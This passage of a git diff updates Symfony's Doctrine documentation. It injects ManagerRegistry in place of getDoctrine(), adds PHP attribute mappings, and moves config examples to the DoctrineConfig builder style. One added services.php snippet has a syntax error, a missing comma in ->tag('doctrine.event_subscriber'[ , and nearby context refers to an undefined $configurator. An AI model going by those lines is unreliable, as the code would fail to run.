+            ]);
+        }
     }
 
 Using Doctrine to edit an existing product consists of three steps:
@@ -679,8 +720,7 @@ You've already seen how the repository object allows you to run basic queries
 without any work::
 
     // from inside a controller
-    $repository = $this->getDoctrine()->getRepository(Product::class);
-
+    $repository = $doctrine->getRepository(Product::class);
     $product = $repository->find($id);
 
 But what if you need a more complex query? When you generated your entity with
@@ -721,7 +761,7 @@ a new method for this to your repository::
         /**
          * @return Product[]
          */
-        public function findAllGreaterThanPrice($price): array
+        public function findAllGreaterThanPrice(int $price): array
         {
             $entityManager = $this->getEntityManager();
 
@@ -747,9 +787,7 @@ Now, you can call this method on the repository::
     // from inside a controller
     $minPrice = 1000;
 
-    $products = $this->getDoctrine()
-        ->getRepository(Product::class)
-        ->findAllGreaterThanPrice($minPrice);
+    $products = $doctrine->getRepository(Product::class)->findAllGreaterThanPrice($minPrice);
 
     // ...
 
@@ -766,25 +804,28 @@ based on PHP conditions)::
     // src/Repository/ProductRepository.php
 
     // ...
-    public function findAllGreaterThanPrice($price, $includeUnavailableProducts = false): array
+    class ProductRepository extends ServiceEntityRepository
     {
-        // automatically knows to select Products
-        // the "p" is an alias you'll use in the rest of the query
-        $qb = $this->createQueryBuilder('p')
-            ->where('p.price > :price')
-            ->setParameter('price', $price)
-            ->orderBy('p.price', 'ASC');
-
-        if (!$includeUnavailableProducts) {
-            $qb->andWhere('p.available = TRUE');
-        }
+        public function findAllGreaterThanPrice(int $price, bool $includeUnavailableProducts = false): array
+        {
+            // automatically knows to select Products
+            // the "p" is an alias you'll use in the rest of the query
+            $qb = $this->createQueryBuilder('p')
+                ->where('p.price > :price')
+                ->setParameter('price', $price)
+                ->orderBy('p.price', 'ASC');
+
+            if (!$includeUnavailableProducts) {
+                $qb->andWhere('p.available = TRUE');
+            }
 
-        $query = $qb->getQuery();
+            $query = $qb->getQuery();
 
-        return $query->execute();
+            return $query->execute();
 
-        // to get just one result:
-        // $product = $query->setMaxResults(1)->getOneOrNullResult();
+            // to get just one result:
+            // $product = $query->setMaxResults(1)->getOneOrNullResult();
+        }
     }
 
 Querying with SQL
@@ -795,20 +836,23 @@ In addition, you can query directly with SQL if you need to::
     // src/Repository/ProductRepository.php
 
     // ...
-    public function findAllGreaterThanPrice($price): array
+    class ProductRepository extends ServiceEntityRepository
     {
-        $conn = $this->getEntityManager()->getConnection();
-
-        $sql = '
-            SELECT * FROM product p
-            WHERE p.price > :price
-            ORDER BY p.price ASC
-            ';
-        $stmt = $conn->prepare($sql);
-        $stmt->execute(['price' => $price]);
-
-        // returns an array of arrays (i.e. a raw data set)
-        return $stmt->fetchAllAssociative();
+        public function findAllGreaterThanPrice(int $price): array
+        {
+            $conn = $this->getEntityManager()->getConnection();
+
+            $sql = '
+                SELECT * FROM product p
+                WHERE p.price > :price
+                ORDER BY p.price ASC
+                ';
+            $stmt = $conn->prepare($sql);
+            $stmt->execute(['price' => $price]);
+
+            // returns an array of arrays (i.e. a raw data set)
+            return $stmt->fetchAllAssociative();
+        }
     }
 
 With SQL, you will get back raw data, not objects (unless you use the `NativeQuery`_
@@ -874,5 +918,5 @@ Learn more
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine
 .. _`API Platform`: https://api-platform.com/docs/core/validation/
 .. _`PDO`: https://www.php.net/pdo
-.. _`available Doctrine extensions`: https://github.com/Atlantic18/DoctrineExtensions
+.. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8bdddab536b..98fccd63d29 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -171,6 +171,32 @@ the ``Product`` entity (and getter & setter methods):
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Product.php
+        namespace App\Entity;
+
+        // ...
+        class Product
+        {
+            // ...
+
+            #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: "products")]
+            private $category;
+
+            public function getCategory(): ?Category
+            {
+                return $this->category;
+            }
+
+            public function setCategory(?Category $category): self
+            {
+                $this->category = $category;
+
+                return $this;
+            }
+        }
+
     .. code-block:: yaml
 
         # src/Resources/config/doctrine/Product.orm.yml
@@ -248,6 +274,38 @@ class that will hold these objects:
             // addProduct() and removeProduct() were also added
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Category.php
+        namespace App\Entity;
+
+        // ...
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection;
+
+        class Category
+        {
+            // ...
+
+            #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category")]
+            private $products;
+
+            public function __construct()
+            {
+                $this->products = new ArrayCollection();
+            }
+
+            /**
+             * @return Collection|Product[]
+             */
+            public function getProducts(): Collection
+            {
+                return $this->products;
+            }
+
+            // addProduct() and removeProduct() were also added
+        }
+
     .. code-block:: yaml
 
         # src/Resources/config/doctrine/Category.orm.yml
@@ -320,6 +378,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
     // ...
     use App\Entity\Category;
     use App\Entity\Product;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
 
     class ProductController extends AbstractController
@@ -327,7 +386,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
         /**
          * @Route("/product", name="product")
          */
-        public function index()
+        public function index(ManagerRegistry $doctrine): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -340,7 +399,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
             // relates this product to the category
             $product->setCategory($category);
 
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
             $entityManager->persist($category);
             $entityManager->persist($product);
             $entityManager->flush();
@@ -378,20 +437,23 @@ When you need to fetch associated objects, your workflow looks like it did
 before. First, fetch a ``$product`` object and then access its related
 ``Category`` object::
 
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
     use App\Entity\Product;
     // ...
 
-    public function show($id)
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
-
-        // ...
+        public function show(ManagerRegistry $doctrine, int $id): Response
+        {
+            $product = $doctrine->getRepository(Product::class)->find($id);
+            // ...
 
-        $categoryName = $product->getCategory()->getName();
+            $categoryName = $product->getCategory()->getName();
 
-        // ...
+            // ...
+        }
     }
 
 In this example, you first query for a ``Product`` object based on the product's
@@ -411,15 +473,19 @@ the category (i.e. it's "lazily loaded").
 Because we mapped the optional ``OneToMany`` side, you can also query in the other
 direction::
 
-    public function showProducts($id)
+    // src/Controller/ProductController.php
+
+    // ...
+    class ProductController extends AbstractController
     {
-        $category = $this->getDoctrine()
-            ->getRepository(Category::class)
-            ->find($id);
+        public function showProducts(ManagerRegistry $doctrine, int $id): Response
+        {
+            $category = $doctrine->getRepository(Category::class)->find($id);
 
-        $products = $category->getProducts();
+            $products = $category->getProducts();
 
-        // ...
+            // ...
+        }
     }
 
 In this case, the same things occur: you first query for a single ``Category``
@@ -433,9 +499,7 @@ by adding JOINs.
     a "proxy" object in place of the true object. Look again at the above
     example::
 
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
+        $product = $doctrine->getRepository(Product::class)->find($id);
 
         $category = $product->getCategory();
 
@@ -475,18 +539,23 @@ can avoid the second query by issuing a join in the original query. Add the
 following method to the ``ProductRepository`` class::
 
     // src/Repository/ProductRepository.php
-    public function findOneByIdJoinedToCategory($productId)
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
     {
-        $entityManager = $this->getEntityManager();
+        public function findOneByIdJoinedToCategory(int $productId): ?Product
+        {
+            $entityManager = $this->getEntityManager();
 
-        $query = $entityManager->createQuery(
-            'SELECT p, c
-            FROM App\Entity\Product p
-            INNER JOIN p.category c
-            WHERE p.id = :id'
-        )->setParameter('id', $productId);
+            $query = $entityManager->createQuery(
+                'SELECT p, c
+                FROM App\Entity\Product p
+                INNER JOIN p.category c
+                WHERE p.id = :id'
+            )->setParameter('id', $productId);
 
-        return $query->getOneOrNullResult();
+            return $query->getOneOrNullResult();
+        }
     }
 
 This will *still* return an array of ``Product`` objects. But now, when you call
@@ -495,15 +564,19 @@ This will *still* return an array of ``Product`` objects. But now, when you call
 Now, you can use this method in your controller to query for a ``Product``
 object and its related ``Category`` in one query::
 
-    public function show($id)
+    // src/Controller/ProductController.php
+
+    // ...
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->findOneByIdJoinedToCategory($id);
+        public function show(ManagerRegistry $doctrine, int $id): Response
+        {
+            $product = $doctrine->getRepository(Product::class)->findOneByIdJoinedToCategory($id);
 
-        $category = $product->getCategory();
+            $category = $product->getCategory();
 
-        // ...
+            // ...
+        }
     }
 
 .. _associations-inverse-side:
@@ -574,16 +647,30 @@ on that ``Product`` will be set to ``null`` in the database.
 
 But, instead of setting the ``category_id`` to null, what if you want the ``Product``
 to be *deleted* if it becomes "orphaned" (i.e. without a ``Category``)? To choose
-that behavior, use the `orphanRemoval`_ option inside ``Category``::
+that behavior, use the `orphanRemoval`_ option inside ``Category``:
 
-    // src/Entity/Category.php
+.. configuration-block::
 
-    // ...
+    .. code-block:: php-annotations
+
+        // src/Entity/Category.php
+
+        // ...
+
+        /**
+         * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
+         */
+        private $products;
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Category.php
+
+        // ...
+
+        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval: true)]
+        private $products;
 
-    /**
-     * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
-     */
-    private $products;
 
 Thanks to this, if the ``Product`` is removed from the ``Category``, it will be
 removed from the database entirely.
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 9485509da49..8643a3a643b 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -57,24 +57,19 @@ In Symfony, you can register your custom DQL functions as follows:
         use App\DQL\NumericFunction;
         use App\DQL\SecondStringFunction;
         use App\DQL\StringFunction;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                // ...
-                'dql' => [
-                    'string_functions' => [
-                        'test_string'   => StringFunction::class,
-                        'second_string' => SecondStringFunction::class,
-                    ],
-                    'numeric_functions' => [
-                        'test_numeric' => NumericFunction::class,
-                    ],
-                    'datetime_functions' => [
-                        'test_datetime' => DatetimeFunction::class,
-                    ],
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $defaultDql = $doctrine->orm()
+                ->entityManager('default')
+                    // ...
+                    ->dql();
+
+            $defaultDql->stringFunction('test_string', StringFunction::class);
+            $defaultDql->stringFunction('second_string', SecondStringFunction::class);
+            $defaultDql->numericFunction('test_numeric', NumericFunction::class);
+            $defaultDql->datetimeFunction('test_datetime', DatetimeFunction::class);
+        };
 
 .. note::
 
@@ -129,23 +124,15 @@ In Symfony, you can register your custom DQL functions as follows:
 
             // config/packages/doctrine.php
             use App\DQL\DatetimeFunction;
-
-            $container->loadFromExtension('doctrine', [
-                'doctrine' => [
-                    'orm' => [
-                        // ...
-                        'entity_managers' => [
-                            'example_manager' => [
-                                // place your functions here
-                                'dql' => [
-                                    'datetime_functions' => [
-                                        'test_datetime' => DatetimeFunction::class,
-                                    ],
-                                ],
-                            ],
-                        ],
-                    ],
-                ],
-            ]);
+            use Symfony\Config\DoctrineConfig;
+
+            return static function (DoctrineConfig $doctrine) {
+                $doctrine->orm()
+                    // ...
+                    ->entityManager('example_manager')
+                        // place your functions here
+                        ->dql()
+                            ->datetimeFunction('test_datetime', DatetimeFunction::class);
+            };
 
 .. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 3d451fb4af6..8459b597faa 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -35,7 +35,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``:
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
 Further things can be configured in ``config/packages/doctrine.yaml`` - see
 :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file
@@ -47,11 +47,13 @@ object::
     // src/Controller/UserController.php
     namespace App\Controller;
 
-    use Doctrine\DBAL\Driver\Connection;
+    use Doctrine\DBAL\Connection;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class UserController extends AbstractController
     {
-        public function index(Connection $connection)
+        public function index(Connection $connection): Response
         {
             $users = $connection->fetchAll('SELECT * FROM users');
 
@@ -103,15 +105,13 @@ mapping types, read Doctrine's `Custom Mapping Types`_ section of their document
         // config/packages/doctrine.php
         use App\Type\CustomFirst;
         use App\Type\CustomSecond;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'types' => [
-                    'custom_first'  => CustomFirst::class,
-                    'custom_second' => CustomSecond::class,
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $dbal = $doctrine->dbal();
+            $dbal->type('custom_first')->class(CustomFirst::class);
+            $dbal->type('custom_second')->class(CustomSecond::class);
+        };
 
 Registering custom Mapping Types in the SchemaTool
 --------------------------------------------------
@@ -154,13 +154,13 @@ mapping type:
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'mapping_types' => [
-                    'enum'  => 'string',
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $dbalDefault = $doctrine->dbal()
+                ->connection('default');
+            $dbalDefault->mappingType('enum', 'string');
+        };
 
 .. _`PDO`: https://www.php.net/pdo
 .. _`Doctrine`: https://www.doctrine-project.org/
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 46287b06253..4e5581c14de 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -16,7 +16,7 @@ on other common tasks (e.g. ``loadClassMetadata``, ``onClear``).
 
 There are different ways to listen to these Doctrine events:
 
-* **Lifecycle callbacks**, they are defined as methods on the entity classes and
+* **Lifecycle callbacks**, they are defined as public methods on the entity classes and
   they are called when the events are triggered;
 * **Lifecycle listeners and subscribers**, they are classes with callback
   methods for one or more events and they are called for all entities;
@@ -46,7 +46,7 @@ to learn everything about them.
 Doctrine Lifecycle Callbacks
 ----------------------------
 
-Lifecycle callbacks are defined as methods inside the entity you want to modify.
+Lifecycle callbacks are defined as public methods inside the entity you want to modify.
 For example, suppose you want to set a ``createdAt`` date column to the current
 date, but only when the entity is first persisted (i.e. inserted). To do so,
 define a callback for the ``prePersist`` Doctrine event:
@@ -74,9 +74,9 @@ define a callback for the ``prePersist`` Doctrine event:
             /**
              * @ORM\PrePersist
              */
-            public function setCreatedAtValue()
+            public function setCreatedAtValue(): void
             {
-                $this->createdAt = new \DateTime();
+                $this->createdAt = new \DateTimeImmutable();
             }
         }
 
@@ -132,7 +132,7 @@ do so, define a listener for the ``postPersist`` Doctrine event::
     {
         // the listener methods receive an argument which gives you access to
         // both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args)
+        public function postPersist(LifecycleEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -166,7 +166,7 @@ with the ``doctrine.event_listener`` tag:
                         # this is the only required option for the lifecycle listener tag
                         event: 'postPersist'
 
-                        # listeners can define their priority in case multiple listeners are associated
+                        # listeners can define their priority in case multiple subscribers or listeners are associated
                         # to the same event (default priority = 0; higher numbers = listener is run earlier)
                         priority: 500
 
@@ -176,7 +176,7 @@ with the ``doctrine.event_listener`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -184,7 +184,7 @@ with the ``doctrine.event_listener`` tag:
 
                 <!--
                     * 'event' is the only required option that defines the lifecycle listener
-                    * 'priority': used when multiple listeners are associated to the same event
+                    * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
                 -->
@@ -213,7 +213,7 @@ with the ``doctrine.event_listener`` tag:
                     // this is the only required option for the lifecycle listener tag
                     'event' => 'postPersist',
 
-                    // listeners can define their priority in case multiple listeners are associated
+                    // listeners can define their priority in case multiple subscribers or listeners are associated
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
@@ -229,6 +229,16 @@ with the ``doctrine.event_listener`` tag:
     Doctrine event is actually fired; whereas Doctrine subscribers are always
     loaded (and instantiated) by Symfony, making them less performant.
 
+.. tip::
+
+    The value of the ``connection`` option can also be a
+    :ref:`configuration parameter <configuration-parameters>`.
+
+    .. versionadded:: 5.4
+
+        The feature to allow using configuration parameters in ``connection``
+        was introduced in Symfony 5.4.
+
 Doctrine Entity Listeners
 -------------------------
 
@@ -247,7 +257,7 @@ define a listener for the ``postUpdate`` Doctrine event::
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function postUpdate(User $user, LifecycleEventArgs $event)
+        public function postUpdate(User $user, LifecycleEventArgs $event): void
         {
             // ... do something to notify the changes
         }
@@ -289,7 +299,7 @@ with the ``doctrine.orm.entity_listener`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -365,15 +375,15 @@ want to log all the database activity. To do so, define a subscriber for the
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Common\EventSubscriber;
+    use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
     use Doctrine\ORM\Events;
     use Doctrine\Persistence\Event\LifecycleEventArgs;
 
-    class DatabaseActivitySubscriber implements EventSubscriber
+    class DatabaseActivitySubscriber implements EventSubscriberInterface
     {
         // this method can only return the event names; you cannot define a
         // custom method name to execute when each event triggers
-        public function getSubscribedEvents()
+        public function getSubscribedEvents(): array
         {
             return [
                 Events::postPersist,
@@ -385,22 +395,22 @@ want to log all the database activity. To do so, define a subscriber for the
         // callback methods must be called exactly like the events they listen to;
         // they receive an argument of type LifecycleEventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args)
+        public function postPersist(LifecycleEventArgs $args): void
         {
             $this->logActivity('persist', $args);
         }
 
-        public function postRemove(LifecycleEventArgs $args)
+        public function postRemove(LifecycleEventArgs $args): void
         {
             $this->logActivity('remove', $args);
         }
 
-        public function postUpdate(LifecycleEventArgs $args)
+        public function postUpdate(LifecycleEventArgs $args): void
         {
             $this->logActivity('update', $args);
         }
 
-        private function logActivity(string $action, LifecycleEventArgs $args)
+        private function logActivity(string $action, LifecycleEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -414,9 +424,13 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
-The next step is to enable the Doctrine subscriber in the Symfony application by
-creating a new service for it and :doc:`tagging it </service_container/tags>`
-with the ``doctrine.event_subscriber`` tag:
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
+work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
+subscriber and :doc:`tag it </service_container/tags>` with ``doctrine.event_subscriber``.
+
+If you need to configure some option of the subscriber (e.g. its priority or
+Doctrine connection to use) you must do that in the manual service configuration:
 
 .. configuration-block::
 
@@ -428,64 +442,31 @@ with the ``doctrine.event_subscriber`` tag:
 
             App\EventListener\DatabaseActivitySubscriber:
                 tags:
-                    - { name: 'doctrine.event_subscriber' }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
-            <services>
-                <!-- ... -->
-
-                <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\EventListener\DatabaseActivitySubscriber;
+                    - name: 'doctrine.event_subscriber'
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
-
-            $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber')
-            ;
-        };
+                      # subscribers can define their priority in case multiple subscribers or listeners are associated
+                      # to the same event (default priority = 0; higher numbers = listener is run earlier)
+                      priority: 500
 
-If you need to associate the subscriber with a specific Doctrine connection, you
-can do it in the service configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\EventListener\DatabaseActivitySubscriber:
-                tags:
-                    - { name: 'doctrine.event_subscriber', connection: 'default' }
+                      # you can also restrict listeners to a specific Doctrine connection
+                      connection: 'default'
 
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
                 <!-- ... -->
 
+                <!--
+                    * 'priority': used when multiple subscribers or listeners are associated to the same event
+                    *             (default priority = 0; higher numbers = listener is run earlier)
+                    * 'connection': restricts the listener to a specific Doctrine connection
+                -->
                 <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" connection="default"/>
+                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
                 </service>
             </services>
         </container>
@@ -501,10 +482,21 @@ can do it in the service configuration:
             $services = $configurator->services();
 
             $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber', ['connection' => 'default'])
+                ->tag('doctrine.event_subscriber'[
+                    // subscribers can define their priority in case multiple subscribers or listeners are associated
+                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
+                    'priority' => 500,
+
+                    // you can also restrict listeners to a specific Doctrine connection
+                    'connection' => 'default',
+                ])
             ;
         };
 
+.. versionadded:: 5.3
+
+    Subscriber priority was introduced in Symfony 5.3.
+
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 1593398b3bc..e94ef907f57 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -71,7 +71,7 @@ The following configuration code shows how you can configure two entity managers
     .. code-block:: xml
 
         <!-- config/packages/doctrine.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
@@ -128,57 +128,47 @@ The following configuration code shows how you can configure two entity managers
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'default_connection' => 'default',
-                'connections' => [
-                    // configure these for your database server
-                    'default' => [
-                        'url'            => '%env(resolve:DATABASE_URL)%',
-                        'driver'         => 'pdo_mysql',
-                        'server_version' => '5.7',
-                        'charset'        => 'utf8mb4',
-                    ],
-                    // configure these for your database server
-                    'customer' => [
-                        'url'            => '%env(resolve:DATABASE_CUSTOMER_URL)%',
-                        'driver'         => 'pdo_mysql',
-                        'server_version' => '5.7',
-                        'charset'        => 'utf8mb4',
-                    ],
-                ],
-            ],
-
-            'orm' => [
-                'default_entity_manager' => 'default',
-                'entity_managers' => [
-                    'default' => [
-                        'connection' => 'default',
-                        'mappings'   => [
-                            'Main'  => [
-                                'is_bundle' => false,
-                                'type' => 'annotation',
-                                'dir' => '%kernel.project_dir%/src/Entity/Main',
-                                'prefix' => 'App\Entity\Main',
-                                'alias' => 'Main',
-                            ]
-                        ],
-                    ],
-                    'customer' => [
-                        'connection' => 'customer',
-                        'mappings'   => [
-                            'Customer'  => [
-                                'is_bundle' => false,
-                                'type' => 'annotation',
-                                'dir' => '%kernel.project_dir%/src/Entity/Customer',
-                                'prefix' => 'App\Entity\Customer',
-                                'alias' => 'Customer',
-                            ]
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $doctrine->dbal()->defaultConnection('default');
+
+            // configure these for your database server
+            $doctrine->dbal()
+                ->connection('default')
+                ->url('%env(resolve:DATABASE_URL)%')
+                ->driver('pdo_mysql')
+                ->serverVersion('5.7')
+                ->charset('utf8mb4');
+
+            // configure these for your database server
+            $doctrine->dbal()
+                ->connection('customer')
+                ->url('%env(resolve:DATABASE_CUSTOMER_URL)%')
+                ->driver('pdo_mysql')
+                ->serverVersion('5.7')
+                ->charset('utf8mb4');
+
+            $doctrine->orm()->defaultEntityManager('default');
+            $emDefault = $doctrine->orm()->entityManager('default');
+            $emDefault->connection('default');
+            $emDefault->mapping('Main')
+                ->isBundle(false)
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity/Main')
+                ->prefix('App\Entity\Main')
+                ->alias('Main');
+
+            $emCustomer = $doctrine->orm()->entityManager('customer');
+            $emCustomer->connection('customer');
+            $emCustomer->mapping('Customer')
+                ->isBundle(false)
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity/Customer')
+                ->prefix('App\Entity\Customer')
+                ->alias('Customer')
+            ;
+        };
 
 In this case, you've defined two entity managers and called them ``default``
 and ``customer``. The ``default`` entity manager manages entities in the
@@ -241,25 +231,29 @@ the default entity manager (i.e. ``default``) is returned::
     namespace App\Controller;
 
     // ...
-
     use Doctrine\ORM\EntityManagerInterface;
+    use Doctrine\Persistence\ManagerRegistry;
 
     class UserController extends AbstractController
     {
-        public function index(EntityManagerInterface $entityManager)
+        public function index(ManagerRegistry $doctrine): Response
         {
-            // These methods also return the default entity manager, but it's preferred
-            // to get it by injecting EntityManagerInterface in the action method
-            $entityManager = $this->getDoctrine()->getManager();
-            $entityManager = $this->getDoctrine()->getManager('default');
-            $entityManager = $this->get('doctrine.orm.default_entity_manager');
-
-            // Both of these return the "customer" entity manager
-            $customerEntityManager = $this->getDoctrine()->getManager('customer');
-            $customerEntityManager = $this->get('doctrine.orm.customer_entity_manager');
+            // Both methods return the default entity manager
+            $entityManager = $doctrine->getManager();
+            $entityManager = $doctrine->getManager('default');
+
+            // This method returns instead the "customer" entity manager
+            $customerEntityManager = $doctrine->getManager('customer');
+
+            // ...
         }
     }
 
+Entity managers also benefit from :ref:`autowiring aliases <service-autowiring-alias>`
+when the :ref:`framework bundle <framework-bundle-configuration>` is used. For
+example, to inject the ``customer`` entity manager, type-hint your method with
+``EntityManagerInterface $customerEntityManager``.
+
 You can now use Doctrine like you did before - using the ``default`` entity
 manager to persist and fetch entities that it manages and the ``customer``
 entity manager to persist and fetch its entities.
@@ -271,29 +265,23 @@ The same applies to repository calls::
 
     use AcmeStoreBundle\Entity\Customer;
     use AcmeStoreBundle\Entity\Product;
+    use Doctrine\Persistence\ManagerRegistry;
     // ...
 
     class UserController extends AbstractController
     {
-        public function index()
+        public function index(ManagerRegistry $doctrine): Response
         {
-            // Retrieves a repository managed by the "default" em
-            $products = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->findAll()
-            ;
+            // Retrieves a repository managed by the "default" entity manager
+            $products = $doctrine->getRepository(Product::class)->findAll();
 
-            // Explicit way to deal with the "default" em
-            $products = $this->getDoctrine()
-                ->getRepository(Product::class, 'default')
-                ->findAll()
-            ;
+            // Explicit way to deal with the "default" entity manager
+            $products = $doctrine->getRepository(Product::class, 'default')->findAll();
 
-            // Retrieves a repository managed by the "customer" em
-            $customers = $this->getDoctrine()
-                ->getRepository(Customer::class, 'customer')
-                ->findAll()
-            ;
+            // Retrieves a repository managed by the "customer" entity manager
+            $customers = $doctrine->getRepository(Customer::class, 'customer')->findAll();
+
+            // ...
         }
     }
 
@@ -317,6 +305,6 @@ The same applies to repository calls::
             // ...
         }
 
-	You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
+    You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
 
 .. _`several alternatives`: https://stackoverflow.com/a/11494543
diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
index d999eda77e9..2b8d687ee16 100644
--- a/doctrine/registration_form.rst
+++ b/doctrine/registration_form.rst
@@ -14,7 +14,7 @@ form you must:
 #. :doc:`Create a form </forms>` to ask for the registration information (you can
    generate this with the ``make:registration-form`` command provided by the `MakerBundle`_);
 #. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`;
-#. :ref:`Protect some parts of your application <security-authorization>` so
+#. :ref:`Protect some parts of your application <security-access-control>` so
    only registered users can access to them.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
